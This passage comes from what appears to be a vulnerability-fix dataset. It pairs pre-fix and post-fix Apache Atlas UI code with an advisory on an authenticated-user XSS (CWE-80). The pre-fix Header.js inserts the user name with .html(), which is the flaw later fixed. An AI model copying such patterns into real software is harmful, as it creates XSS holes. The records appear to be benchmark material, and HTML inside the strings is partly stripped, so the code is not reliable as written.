}\n },\n onClickTagCross: function(e) {\n var that = this,\n tagName = $(e.target).data(\"name\"),\n guid = $(e.target).data(\"guid\"),\n entityGuid = $(e.target).data(\"entityguid\"),\n assetName = $(e.target).data(\"assetname\");\n CommonViewFunction.deleteTag({\n tagName: tagName,\n guid: guid,\n associatedGuid: guid != entityGuid ? entityGuid : null,\n msg: \"
    Remove: \" + \"\" + _.escape(tagName) + \" assignment from \" + _.escape(assetName) + \" ?
    \",\n titleMessage: Messages.removeTag,\n okText: \"Remove\",\n showLoader: that.showLoader.bind(that),\n hideLoader: that.hideLoader.bind(that),\n callback: function() {\n that.fetchCollection();\n if (that.searchVent) {\n that.searchVent.trigger('entityList:refresh');\n }\n }\n });\n\n },\n onClickTermCross: function(e) {\n var $el = $(e.target),\n termGuid = $el.data('termguid'),\n guid = $el.data('guid'),\n termName = $(e.currentTarget).text(),\n assetname = $el.data('assetname'),\n meanings = this.searchCollection.find({ \"guid\": guid }).get(\"meanings\"),\n that = this,\n termObj = _.find(meanings, { termGuid: termGuid });\n CommonViewFunction.removeCategoryTermAssociation({\n termGuid: termGuid,\n model: {\n guid: guid,\n relationshipGuid: termObj.relationGuid\n },\n collection: that.glossaryCollection,\n msg: \"
    Remove: \" + \"\" + _.escape(termName) + \" assignment from \" + _.escape(assetname) + \"?
    \",\n titleMessage: Messages.glossary.removeTermfromEntity,\n isEntityView: true,\n buttonText: \"Remove\",\n callback: function() {\n that.fetchCollection();\n }\n });\n },\n onClicknextData: function() {\n this.offset = this.offset + this.limit;\n _.extend(this.searchCollection.queryParams, {\n offset: this.offset\n });\n if (this.value) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n this.fetchCollection(null, {\n next: true\n });\n },\n onClickpreviousData: function() {\n this.offset = this.offset - this.limit;\n if (this.offset <= -1) {\n this.offset = 0;\n }\n _.extend(this.searchCollection.queryParams, {\n offset: this.offset\n });\n if (this.value) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n this.fetchCollection(null, {\n previous: true\n });\n },\n onClickCreateEntity: function(e) {\n var that = this;\n $(e.currentTarget).blur();\n require([\n 'views/entity/CreateEntityLayoutView'\n ], function(CreateEntityLayoutView) {\n var view = new CreateEntityLayoutView({\n entityDefCollection: that.entityDefCollection,\n typeHeaders: that.typeHeaders,\n searchVent: that.searchVent,\n callback: function() {\n that.fetchCollection();\n }\n });\n });\n },\n onCheckExcludeIncludeResult: function(e) {\n var flag = false,\n val = $(e.currentTarget).attr('data-value');\n if (e.target.checked) {\n flag = true;\n }\n if (this.value) {\n this.value[val] = flag;\n this.triggerUrl({ mergeBrowserUrl: true });\n }\n _.extend(this.searchCollection.queryParams, { limit: this.limit, offset: this.offset });\n this.fetchCollection();\n\n },\n onDownloadSearchResults: function() {\n this.generateAttributeLabelMap();\n Utils.disableRefreshButton(this.ui.downloadResults, this);\n if (this.value.searchType !== \"basic\") {\n this.downloadSearchResultsParams.searchParameters = {\n \"limit\": this.limit,\n \"offset\": this.offset,\n \"query\": this.value.query || null,\n \"typeName\": this.value.type || null\n };\n delete this.downloadSearchResultsParams.attributeLabelMap;\n }\n var apiObj = {\n sort: false,\n data: this.downloadSearchResultsParams,\n success: function(model, response) {\n Utils.notifySuccess({\n content: \"The current search results have been enqueued for download. You can access the csv file by clicking the large arrow icon at the top of the page.\"\n });\n },\n reset: true,\n complete: function() {},\n error: function(error) {}\n }\n this.downloadSearchResults.startDownloading(apiObj);\n },\n changePageLimit: function(e, obj) {\n if (!obj || (obj && !obj.skipViewChange)) {\n var limit = parseInt(this.ui.showPage.val());\n if (limit == 0) {\n this.ui.showPage.data('select2').$container.addClass('has-error');\n return;\n } else {\n this.ui.showPage.data('select2').$container.removeClass('has-error');\n }\n this.limit = limit;\n this.offset = 0;\n if (this.value) {\n this.value.pageLimit = this.limit;\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n _.extend(this.searchCollection.queryParams, { limit: this.limit, offset: this.offset });\n this.fetchCollection();\n }\n },\n gotoPagebtn: function(e) {\n var that = this;\n var goToPage = parseInt(this.ui.gotoPage.val());\n if (!(_.isNaN(goToPage) || goToPage <= -1)) {\n if (this.finalPage && this.finalPage < goToPage) {\n Utils.notifyInfo({\n html: true,\n content: Messages.search.noRecordForPage + '' + Utils.getNumberSuffix({ number: goToPage, sup: true }) + ' page'\n });\n return;\n }\n this.offset = (goToPage - 1) * this.limit;\n if (this.offset <= -1) {\n this.offset = 0;\n }\n _.extend(this.searchCollection.queryParams, { limit: this.limit, offset: this.offset });\n if (this.offset == (this.pageFrom - 1)) {\n Utils.notifyInfo({\n content: Messages.search.onSamePage\n });\n } else {\n if (this.value) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n // this.offset is updated in gotoPagebtn function so use next button calculation.\n this.fetchCollection(null, { 'next': true });\n }\n }\n }\n });\n return SearchResultLayoutView;\n});" repo = "apache/atlas" url = "https://github.com/apache/atlas.git" [[case]] advisory = "GHSA-v73p-f52r-fmmr" advisory_text = "Apache Atlas UI: Authenticated User XSS\n\nAn authenticated user can perform XSS.\n\nThis issue affects Apache Atlas versions 2.4.0 and earlier.\n\nUsers are recommended to upgrade to version 2.5.0, which fixes the issue." commit = "800f979307d6ea0f0b6563ec890f6b728022e497" cwe = "CWE-80" family = "output_encoding" function = "function" function_lines = [[27, 347]] id = "apache-atlas-42a370a3cdec7d12" language = "javascript" method = "fix_site" parent = "e67cc199e61afc92f242cccd05e97a61e0791bd2" path = "dashboardv2/public/js/views/site/Header.js" post_fix = "], function(require, tmpl, CommonViewFunction, Globals, Utils, UrlLinks, VDownloadList) {\n 'use strict';\n\n var Header = Marionette.LayoutView.extend({\n template: tmpl,\n regions: {\n RDownloadSearchResult: \"[data-id='r_DownloadSearchResult']\"\n },\n templateHelpers: function() {\n return {\n glossaryImportTempUrl: UrlLinks.glossaryImportTempUrl(),\n businessMetadataImportTempUrl: UrlLinks.businessMetadataImportTempUrl(),\n apiDocUrl: UrlLinks.apiDocUrl(),\n isDebugMetricsEnabled: Globals.isDebugMetricsEnabled\n };\n },\n ui: {\n backButton: \"[data-id='backButton']\",\n menuHamburger: \"[data-id='menuHamburger']\",\n globalSearch: \"[data-id='globalSearch']\",\n clearGlobalSearch: \"[data-id='clearGlobalSearch']\",\n signOut: \"[data-id='signOut']\",\n administrator: \"[data-id='administrator']\",\n showDebug: \"[data-id='showDebug']\",\n reactUISwitch: \"[data-id='reactUISwitch']\",\n glossaryImport: \"[data-id='glossaryImport']\",\n businessMetadataImport: \"[data-id='businessMetadataImport']\",\n showDownloads: \"[data-id='showDownloads']\"\n },\n events: function() {\n var events = {};\n events['click ' + this.ui.backButton] = function() {\n Utils.backButtonClick();\n };\n events['click ' + this.ui.clearGlobalSearch] = function() {\n this.ui.globalSearch.val(\"\");\n this.ui.globalSearch.autocomplete(\"search\");\n this.ui.clearGlobalSearch.removeClass(\"in\");\n };\n events['click ' + this.ui.menuHamburger] = function() {\n this.setSearchBoxWidth({\n updateWidth: function(atlasHeaderWidth) {\n return $('body').hasClass('full-screen') ? atlasHeaderWidth - 350 : atlasHeaderWidth + 350\n }\n });\n $('body').toggleClass(\"full-screen\");\n };\n events['click ' + this.ui.signOut] = function() {\n Utils.localStorage.setValue(\"last_ui_load\", \"v1\");\n var path = Utils.getBaseUrl(window.location.pathname);\n window.location = path + \"/logout.html\";\n };\n events[\"click \" + this.ui.reactUISwitch] = function() {\n var path = Utils.getBaseUrl(window.location.pathname) + \"/n3/index.html\";\n if (window.location.hash.length > 2) {\n path += window.location.hash;\n }\n window.location.href = path;\n };\n events['click ' + this.ui.administrator] = function() {\n Utils.setUrl({\n url: \"#!/administrator\",\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: true\n });\n };\n events['click ' + this.ui.glossaryImport] = function() {\n this.onClickImport(true);\n };\n events['click ' + this.ui.businessMetadataImport] = function() {\n this.onClickImport()\n };\n events['click ' + this.ui.showDebug] = function() {\n Utils.setUrl({\n url: \"#!/debugMetrics\",\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: true\n });\n };\n events['click ' + this.ui.showDownloads] = function(e) {\n this.exportVent.trigger(\"downloads:showDownloads\");\n };\n return events;\n },\n initialize: function(options) {\n _.extend(this, _.pick(options, 'exportVent'));\n this.bindEvent();\n this.options = options;\n },\n setSearchBoxWidth: function(options) {\n var atlasHeaderWidth = this.$el.find(\".atlas-header\").width(),\n minusWidth = (Utils.getUrlState.isDetailPage() || Utils.getUrlState.isRelationshipDetailPage() || Utils.getUrlState.isBSDetail()) ? 360 : 210;\n if (options && options.updateWidth) {\n atlasHeaderWidth = options.updateWidth(atlasHeaderWidth);\n }\n if (atlasHeaderWidth > minusWidth) {\n this.$el.find(\".global-search-container\").width(atlasHeaderWidth - minusWidth);\n }\n },\n bindEvent: function() {\n var that = this;\n $(window).resize(function() {\n that.setSearchBoxWidth();\n });\n },\n onRender: function() {\n var that = this;\n if (Globals.userLogedIn.status) {\n that.$('.userName').text(Globals.userLogedIn.response.userName);\n }\n this.initializeGlobalSearch();\n this.renderDownloadSearchResultview();\n },\n onShow: function() {\n this.setSearchBoxWidth();\n },\n onBeforeDestroy: function() {\n this.ui.globalSearch.atlasAutoComplete(\"destroy\");\n },\n manualRender: function() {\n this.setSearchBoxWidth();\n },\n fetchSearchData: function(options) {\n var that = this,\n request = options.request,\n response = options.response,\n inputEl = options.inputEl,\n term = request.term,\n data = {},\n sendResponse = function() {\n var query = data.query,\n suggestions = data.suggestions;\n if (query !== undefined && suggestions !== undefined) {\n inputEl.siblings('span.fa-refresh').removeClass(\"fa-refresh fa-spin-custom\").addClass(\"fa-search\");\n response(data);\n }\n };\n $.ajax({\n url: UrlLinks.searchApiUrl('quick'),\n contentType: 'application/json',\n data: {\n \"query\": term,\n \"limit\": 5,\n \"offset\": 0\n },\n cache: true,\n success: function(response) {\n var rData = response.searchResults.entities || [];\n data.query = { category: \"entities\", data: rData, order: 1 };\n sendResponse();\n }\n });\n\n $.ajax({\n url: UrlLinks.searchApiUrl('suggestions'),\n contentType: 'application/json',\n data: {\n \"prefixString\": term\n },\n cache: true,\n success: function(response) {\n var rData = response.suggestions || [];\n data.suggestions = { category: \"suggestions\", data: rData, order: 2 };\n sendResponse();\n }\n });\n },\n getSearchString: function(str) {\n if (str && str.length) {\n return (str.match(/[+\\-&|!(){}[\\]^\"~*?:/]/g) === null ? (str + \"*\") : str);\n } else {\n return str;\n }\n },\n triggerBuasicSearch: function(query) {\n Utils.setUrl({\n url: '#!/search/searchResult?query=' + encodeURIComponent(query) + '&searchType=basic',\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: true\n });\n },\n initializeGlobalSearch: function() {\n var that = this;\n this.ui.globalSearch.atlasAutoComplete({\n minLength: 1,\n autoFocus: false,\n search: function() {\n $(this).siblings('span.fa-search').removeClass(\"fa-search\").addClass(\"fa-refresh fa-spin-custom\");\n },\n select: function(event, ui) {\n var item = ui && ui.item;\n event.preventDefault();\n event.stopPropagation();\n var $el = $(this);\n if (_.isString(item)) {\n $el.val(item);\n $el.data(\"valSelected\", true);\n that.triggerBuasicSearch(item);\n } else if (_.isObject(item) && item.guid) {\n Utils.setUrl({\n url: '#!/detailPage/' + item.guid,\n mergeBrowserUrl: false,\n trigger: true\n });\n }\n $el.blur();\n return true;\n },\n source: function(request, response) {\n that.fetchSearchData({\n request: request,\n response: response,\n inputEl: this.element\n });\n }\n }).focus(function() {\n $(this).atlasAutoComplete(\"search\");\n }).keyup(function(event) {\n if ($(this).val().trim() === \"\") {\n that.ui.clearGlobalSearch.removeClass(\"in\");\n } else {\n that.ui.clearGlobalSearch.addClass(\"in\");\n if (event.keyCode == 13) {\n if ($(this).data(\"valSelected\") !== true) {\n that.triggerBuasicSearch($(this).val());\n } else {\n $(this).data(\"valSelected\", false);\n }\n }\n }\n }).atlasAutoComplete(\"instance\")._renderItem = function(ul, searchItem) {\n if (searchItem) {\n var data = searchItem.data,\n searchTerm = this.term,\n getHighlightedTerm = function(resultStr) {\n try {\n return resultStr.replace(new RegExp(searchTerm, \"gi\"), function(foundStr) {\n return \"\" + foundStr + \"\";\n });\n } catch (error) {\n return resultStr;\n }\n }\n if (data) {\n if (data.length == 0) {\n return $(\"
  • \")\n .append(\"No \" + searchItem.category + \" found\")\n .appendTo(ul);\n } else {\n var items = [];\n _.each(data, function(item) {\n var li = null;\n if (_.isObject(item)) {\n item.itemText = Utils.getName(item) + \" (\" + item.typeName + \")\";\n var options = {},\n table = '';\n if (item.serviceType === undefined) {\n if (Globals.serviceTypeMap[item.typeName] === undefined && that.entityDefCollection) {\n var defObj = that.entityDefCollection.fullCollection.find({ name: item.typeName });\n if (defObj) {\n Globals.serviceTypeMap[item.typeName] = defObj.get(\"serviceType\");\n }\n }\n } else if (Globals.serviceTypeMap[item.typeName] === undefined) {\n Globals.serviceTypeMap[item.typeName] = item.serviceType;\n }\n item.serviceType = Globals.serviceTypeMap[item.typeName];\n options.entityData = item;\n var img = $('').on(\"error\", function(error, s) {\n this.src = Utils.getEntityIconPath(_.extend(options, { errorUrl: this.src }));\n });\n var span = $(\"\" + (getHighlightedTerm(item.itemText)) + \"\")\n .prepend(img);\n li = $(\"
  • \")\n .append(span);\n } else {\n li = $(\"
  • \")\n .append(\"\" + (getHighlightedTerm(_.escape(item))) + \"\");\n }\n li.data(\"ui-autocomplete-item\", item);\n if (searchItem.category) {\n items.push(li.attr(\"aria-label\", searchItem.category + \" : \" + (_.isObject(item) ? item.itemText : item)));\n }\n });\n return ul.append(items);\n }\n }\n }\n };\n },\n onClickImport: function(isGlossary) {\n var that = this;\n require([\n 'views/import/ImportLayoutView'\n ], function(ImportLayoutView) {\n var view = new ImportLayoutView({\n callback: function() {\n if (that.options.importVent) {\n if (isGlossary) {\n that.options.importVent.trigger(\"Import:Glossary:Update\");\n } else {\n that.options.importVent.trigger(\"Import:BM:Update\");\n }\n }\n },\n isGlossary: isGlossary\n });\n });\n },\n renderDownloadSearchResultview: function() {\n var that = this;\n require(['views/site/DownloadSearchResultLayoutView'], function(DownloadSearchResultLayoutView) {\n that.RDownloadSearchResult.show(new DownloadSearchResultLayoutView(that.options));\n });\n }\n });\n return Header;\n});" pre_fix = "], function(require, tmpl, CommonViewFunction, Globals, Utils, UrlLinks, VDownloadList) {\n 'use strict';\n\n var Header = Marionette.LayoutView.extend({\n template: tmpl,\n regions: {\n RDownloadSearchResult: \"[data-id='r_DownloadSearchResult']\"\n },\n templateHelpers: function() {\n return {\n glossaryImportTempUrl: UrlLinks.glossaryImportTempUrl(),\n businessMetadataImportTempUrl: UrlLinks.businessMetadataImportTempUrl(),\n apiDocUrl: UrlLinks.apiDocUrl(),\n isDebugMetricsEnabled: Globals.isDebugMetricsEnabled\n };\n },\n ui: {\n backButton: \"[data-id='backButton']\",\n menuHamburger: \"[data-id='menuHamburger']\",\n globalSearch: \"[data-id='globalSearch']\",\n clearGlobalSearch: \"[data-id='clearGlobalSearch']\",\n signOut: \"[data-id='signOut']\",\n administrator: \"[data-id='administrator']\",\n showDebug: \"[data-id='showDebug']\",\n reactUISwitch: \"[data-id='reactUISwitch']\",\n glossaryImport: \"[data-id='glossaryImport']\",\n businessMetadataImport: \"[data-id='businessMetadataImport']\",\n showDownloads: \"[data-id='showDownloads']\"\n },\n events: function() {\n var events = {};\n events['click ' + this.ui.backButton] = function() {\n Utils.backButtonClick();\n };\n events['click ' + this.ui.clearGlobalSearch] = function() {\n this.ui.globalSearch.val(\"\");\n this.ui.globalSearch.autocomplete(\"search\");\n this.ui.clearGlobalSearch.removeClass(\"in\");\n };\n events['click ' + this.ui.menuHamburger] = function() {\n this.setSearchBoxWidth({\n updateWidth: function(atlasHeaderWidth) {\n return $('body').hasClass('full-screen') ? atlasHeaderWidth - 350 : atlasHeaderWidth + 350\n }\n });\n $('body').toggleClass(\"full-screen\");\n };\n events['click ' + this.ui.signOut] = function() {\n Utils.localStorage.setValue(\"last_ui_load\", \"v1\");\n var path = Utils.getBaseUrl(window.location.pathname);\n window.location = path + \"/logout.html\";\n };\n events[\"click \" + this.ui.reactUISwitch] = function() {\n var path = Utils.getBaseUrl(window.location.pathname) + \"/n3/index.html\";\n if (window.location.hash.length > 2) {\n path += window.location.hash;\n }\n window.location.href = path;\n };\n events['click ' + this.ui.administrator] = function() {\n Utils.setUrl({\n url: \"#!/administrator\",\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: true\n });\n };\n events['click ' + this.ui.glossaryImport] = function() {\n this.onClickImport(true);\n };\n events['click ' + this.ui.businessMetadataImport] = function() {\n this.onClickImport()\n };\n events['click ' + this.ui.showDebug] = function() {\n Utils.setUrl({\n url: \"#!/debugMetrics\",\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: true\n });\n };\n events['click ' + this.ui.showDownloads] = function(e) {\n this.exportVent.trigger(\"downloads:showDownloads\");\n };\n return events;\n },\n initialize: function(options) {\n _.extend(this, _.pick(options, 'exportVent'));\n this.bindEvent();\n this.options = options;\n },\n setSearchBoxWidth: function(options) {\n var atlasHeaderWidth = this.$el.find(\".atlas-header\").width(),\n minusWidth = (Utils.getUrlState.isDetailPage() || Utils.getUrlState.isRelationshipDetailPage() || Utils.getUrlState.isBSDetail()) ? 360 : 210;\n if (options && options.updateWidth) {\n atlasHeaderWidth = options.updateWidth(atlasHeaderWidth);\n }\n if (atlasHeaderWidth > minusWidth) {\n this.$el.find(\".global-search-container\").width(atlasHeaderWidth - minusWidth);\n }\n },\n bindEvent: function() {\n var that = this;\n $(window).resize(function() {\n that.setSearchBoxWidth();\n });\n },\n onRender: function() {\n var that = this;\n if (Globals.userLogedIn.status) {\n that.$('.userName').html(Globals.userLogedIn.response.userName);\n }\n this.initializeGlobalSearch();\n this.renderDownloadSearchResultview();\n },\n onShow: function() {\n this.setSearchBoxWidth();\n },\n onBeforeDestroy: function() {\n this.ui.globalSearch.atlasAutoComplete(\"destroy\");\n },\n manualRender: function() {\n this.setSearchBoxWidth();\n },\n fetchSearchData: function(options) {\n var that = this,\n request = options.request,\n response = options.response,\n inputEl = options.inputEl,\n term = request.term,\n data = {},\n sendResponse = function() {\n var query = data.query,\n suggestions = data.suggestions;\n if (query !== undefined && suggestions !== undefined) {\n inputEl.siblings('span.fa-refresh').removeClass(\"fa-refresh fa-spin-custom\").addClass(\"fa-search\");\n response(data);\n }\n };\n $.ajax({\n url: UrlLinks.searchApiUrl('quick'),\n contentType: 'application/json',\n data: {\n \"query\": term,\n \"limit\": 5,\n \"offset\": 0\n },\n cache: true,\n success: function(response) {\n var rData = response.searchResults.entities || [];\n data.query = { category: \"entities\", data: rData, order: 1 };\n sendResponse();\n }\n });\n\n $.ajax({\n url: UrlLinks.searchApiUrl('suggestions'),\n contentType: 'application/json',\n data: {\n \"prefixString\": term\n },\n cache: true,\n success: function(response) {\n var rData = response.suggestions || [];\n data.suggestions = { category: \"suggestions\", data: rData, order: 2 };\n sendResponse();\n }\n });\n },\n getSearchString: function(str) {\n if (str && str.length) {\n return (str.match(/[+\\-&|!(){}[\\]^\"~*?:/]/g) === null ? (str + \"*\") : str);\n } else {\n return str;\n }\n },\n triggerBuasicSearch: function(query) {\n Utils.setUrl({\n url: '#!/search/searchResult?query=' + encodeURIComponent(query) + '&searchType=basic',\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: true\n });\n },\n initializeGlobalSearch: function() {\n var that = this;\n this.ui.globalSearch.atlasAutoComplete({\n minLength: 1,\n autoFocus: false,\n search: function() {\n $(this).siblings('span.fa-search').removeClass(\"fa-search\").addClass(\"fa-refresh fa-spin-custom\");\n },\n select: function(event, ui) {\n var item = ui && ui.item;\n event.preventDefault();\n event.stopPropagation();\n var $el = $(this);\n if (_.isString(item)) {\n $el.val(item);\n $el.data(\"valSelected\", true);\n that.triggerBuasicSearch(item);\n } else if (_.isObject(item) && item.guid) {\n Utils.setUrl({\n url: '#!/detailPage/' + item.guid,\n mergeBrowserUrl: false,\n trigger: true\n });\n }\n $el.blur();\n return true;\n },\n source: function(request, response) {\n that.fetchSearchData({\n request: request,\n response: response,\n inputEl: this.element\n });\n }\n }).focus(function() {\n $(this).atlasAutoComplete(\"search\");\n }).keyup(function(event) {\n if ($(this).val().trim() === \"\") {\n that.ui.clearGlobalSearch.removeClass(\"in\");\n } else {\n that.ui.clearGlobalSearch.addClass(\"in\");\n if (event.keyCode == 13) {\n if ($(this).data(\"valSelected\") !== true) {\n that.triggerBuasicSearch($(this).val());\n } else {\n $(this).data(\"valSelected\", false);\n }\n }\n }\n }).atlasAutoComplete(\"instance\")._renderItem = function(ul, searchItem) {\n if (searchItem) {\n var data = searchItem.data,\n searchTerm = this.term,\n getHighlightedTerm = function(resultStr) {\n try {\n return resultStr.replace(new RegExp(searchTerm, \"gi\"), function(foundStr) {\n return \"\" + foundStr + \"\";\n });\n } catch (error) {\n return resultStr;\n }\n }\n if (data) {\n if (data.length == 0) {\n return $(\"
  • \")\n .append(\"No \" + searchItem.category + \" found\")\n .appendTo(ul);\n } else {\n var items = [];\n _.each(data, function(item) {\n var li = null;\n if (_.isObject(item)) {\n item.itemText = Utils.getName(item) + \" (\" + item.typeName + \")\";\n var options = {},\n table = '';\n if (item.serviceType === undefined) {\n if (Globals.serviceTypeMap[item.typeName] === undefined && that.entityDefCollection) {\n var defObj = that.entityDefCollection.fullCollection.find({ name: item.typeName });\n if (defObj) {\n Globals.serviceTypeMap[item.typeName] = defObj.get(\"serviceType\");\n }\n }\n } else if (Globals.serviceTypeMap[item.typeName] === undefined) {\n Globals.serviceTypeMap[item.typeName] = item.serviceType;\n }\n item.serviceType = Globals.serviceTypeMap[item.typeName];\n options.entityData = item;\n var img = $('').on(\"error\", function(error, s) {\n this.src = Utils.getEntityIconPath(_.extend(options, { errorUrl: this.src }));\n });\n var span = $(\"\" + (getHighlightedTerm(item.itemText)) + \"\")\n .prepend(img);\n li = $(\"
  • \")\n .append(span);\n } else {\n li = $(\"
  • \")\n .append(\"\" + (getHighlightedTerm(_.escape(item))) + \"\");\n }\n li.data(\"ui-autocomplete-item\", item);\n if (searchItem.category) {\n items.push(li.attr(\"aria-label\", searchItem.category + \" : \" + (_.isObject(item) ? item.itemText : item)));\n }\n });\n return ul.append(items);\n }\n }\n }\n };\n },\n onClickImport: function(isGlossary) {\n var that = this;\n require([\n 'views/import/ImportLayoutView'\n ], function(ImportLayoutView) {\n var view = new ImportLayoutView({\n callback: function() {\n if (that.options.importVent) {\n if (isGlossary) {\n that.options.importVent.trigger(\"Import:Glossary:Update\");\n } else {\n that.options.importVent.trigger(\"Import:BM:Update\");\n }\n }\n },\n isGlossary: isGlossary\n });\n });\n },\n renderDownloadSearchResultview: function() {\n var that = this;\n require(['views/site/DownloadSearchResultLayoutView'], function(DownloadSearchResultLayoutView) {\n that.RDownloadSearchResult.show(new DownloadSearchResultLayoutView(that.options));\n });\n }\n });\n return Header;\n});" repo = "apache/atlas" url = "https://github.com/apache/atlas.git" [[case]] advisory = "GHSA-v73p-f52r-fmmr" advisory_text = "Apache Atlas UI: Authenticated User XSS\n\nAn authenticated user can perform XSS.\n\nThis issue affects Apache Atlas versions 2.4.0 and earlier.\n\nUsers are recommended to upgrade to version 2.5.0, which fixes the issue." commit = "800f979307d6ea0f0b6563ec890f6b728022e497" cwe = "CWE-80" family = "output_encoding" function = "clearQueryAttr" function_lines = [[97, 503]] id = "apache-atlas-4c582bc549c555a1" language = "typescript" method = "fix_site" parent = "e67cc199e61afc92f242cccd05e97a61e0791bd2" path = "dashboard/src/components/FilterQuery.tsx" post_fix = " const clearQueryAttr = (e: any) => {\n const searchParams = new URLSearchParams(location.search);\n const currentType: any = e?.target\n ?.closest(\"[data-type]\")\n ?.getAttribute(\"data-type\");\n\n if (currentType == \"term\") {\n searchParams.delete(\"gtype\");\n searchParams.delete(\"viewType\");\n searchParams.delete(\"guid\");\n }\n\n if (currentType === \"type\") {\n searchParams.delete(\"entityFilters\");\n globalSearchFilterInitialQuery.setQuery({ entityFilters: [] });\n }\n if (currentType === \"tag\") {\n searchParams.delete(\"tagFilters\");\n globalSearchFilterInitialQuery.setQuery({ tagFilters: [] });\n }\n if (currentType === \"relationshipName\") {\n searchParams.delete(\"relationshipFilters\");\n globalSearchFilterInitialQuery.setQuery({ relationshipFilters: [] });\n }\n if (\n currentType === \"entityFilters\" ||\n currentType === \"tagFilters\" ||\n currentType === \"relationshipFilters\"\n ) {\n globalSearchFilterInitialQuery.setQuery({ [currentType]: [] });\n }\n\n searchParams.delete(currentType);\n\n // Check if there are any meaningful filters left after removal\n const meaningfulFilterParams = [\n \"type\",\n \"tag\",\n \"query\",\n \"term\",\n \"relationshipName\",\n \"entityFilters\",\n \"tagFilters\",\n \"relationshipFilters\",\n \"excludeST\",\n \"excludeSC\",\n \"includeDE\"\n ];\n\n const hasMeaningfulFilters = meaningfulFilterParams.some((param) =>\n searchParams.has(param)\n );\n\n // If no meaningful filters remain, navigate to clear all (like Clear button)\n if (!hasMeaningfulFilters) {\n navigate({\n pathname: \"/search\"\n });\n } else if ([...searchParams]?.length <= 1) {\n // Only searchType or other system params remain\n navigate({\n pathname: \"/search\"\n });\n } else {\n navigate({\n pathname: \"/search/searchResult\",\n search: searchParams.toString()\n });\n }\n };\n\n if (value.type) {\n let typeKeyValue = (\n \n \n \n Type:\n \n {value.type}\n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n let entityFilters: any = attributeFilter.extractUrl({\n value: value.entityFilters,\n formatDate: true\n });\n if (entityFilters) {\n const conditionForEntity =\n entityFilters?.rules?.length === 1 ? \"\" : \"AND\";\n typeKeyValue = (\n <>\n {typeKeyValue}\n\n \n {conditionForEntity}\n \n <>\n {\"(\"}\n \n {entityFilters.condition}\n \n {\"(\"}\n {objToString(entityFilters, \"entityFilters\")}\n {\")\"}\n {\")\"}\n \n \n );\n }\n\n queryArray.push(\n \n {typeKeyValue}\n \n );\n }\n\n // Handle Tag filters\n if (value.tag) {\n let tagKeyValue = (\n \n \n Classification: \n {value.tag}\n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n let tagFilters: any = attributeFilter.extractUrl({\n value: value.tagFilters,\n formatDate: true\n });\n if (tagFilters) {\n const conditionForTag = tagFilters?.rules?.length === 1 ? \"\" : \"AND\";\n\n tagKeyValue = (\n <>\n {tagKeyValue}\n \n {conditionForTag}\n \n <>\n {\"(\"}\n \n {tagFilters.condition}\n \n {\"(\"}\n {objToString(tagFilters, \"tagFilters\")}\n {\")\"}\n {\")\"}\n \n \n );\n }\n queryArray.push(\n \n {tagKeyValue}\n \n );\n }\n\n // Handle Relationship filters\n if (value.relationshipName) {\n let relationshipKeyValue: any = (\n \n \n Relationship: \n \n {value.relationshipName}\n \n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n let relationshipFilters: any = attributeFilter.extractUrl({\n value: value.relationshipFilters,\n formatDate: true\n });\n\n if (value.relationshipFilters) {\n const conditionForRelationship: any =\n value.relationshipFilters.rules &&\n value?.relationshipFilters?.rules?.length === 1\n ? \"\"\n : \"AND\";\n relationshipKeyValue = (\n <>\n {relationshipKeyValue}\n\n \n {conditionForRelationship}\n \n <>\n {\"(\"}\n \n {relationshipFilters.condition}\n \n {\"(\"}\n {objToString(relationshipFilters, \"relationshipFilters\")}\n {\")\"}\n {\")\"}\n \n \n );\n }\n\n queryArray.push(\n \n {relationshipKeyValue}\n \n );\n }\n\n // Handle Term filter\n if (value.term) {\n let termKeyValue = (\n \n \n Term: \n {value.term}\n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n\n queryArray.push(
    {termKeyValue}
    );\n }\n\n // Handle Query filter\n if (value.query) {\n let queryKeyValue = (\n \n \n Query: \n \n {value.query.trim()}\n \n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n\n queryArray.push(
    {queryKeyValue}
    );\n }\n\n // Handle Exclude ST filter\n if (value.excludeST) {\n let queryExcludeST = (\n \n \n Exclude sub-types: \n {value.excludeST}\n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n\n queryArray.push(
    {queryExcludeST}
    );\n }\n\n // Handle Exclude SC filter\n if (value.excludeSC) {\n let queryExcludeSC = (\n \n \n \n Exclude sub-classifications:{\" \"}\n \n {value.excludeSC}\n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n\n queryArray.push(
    {queryExcludeSC}
    );\n }\n\n // Handle Include DE filter\n if (value.includeDE) {\n let queryIncludeDE = (\n \n \n \n Show historical entities:{\" \"}\n \n {value.includeDE}\n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n\n queryArray.push(
    {queryIncludeDE}
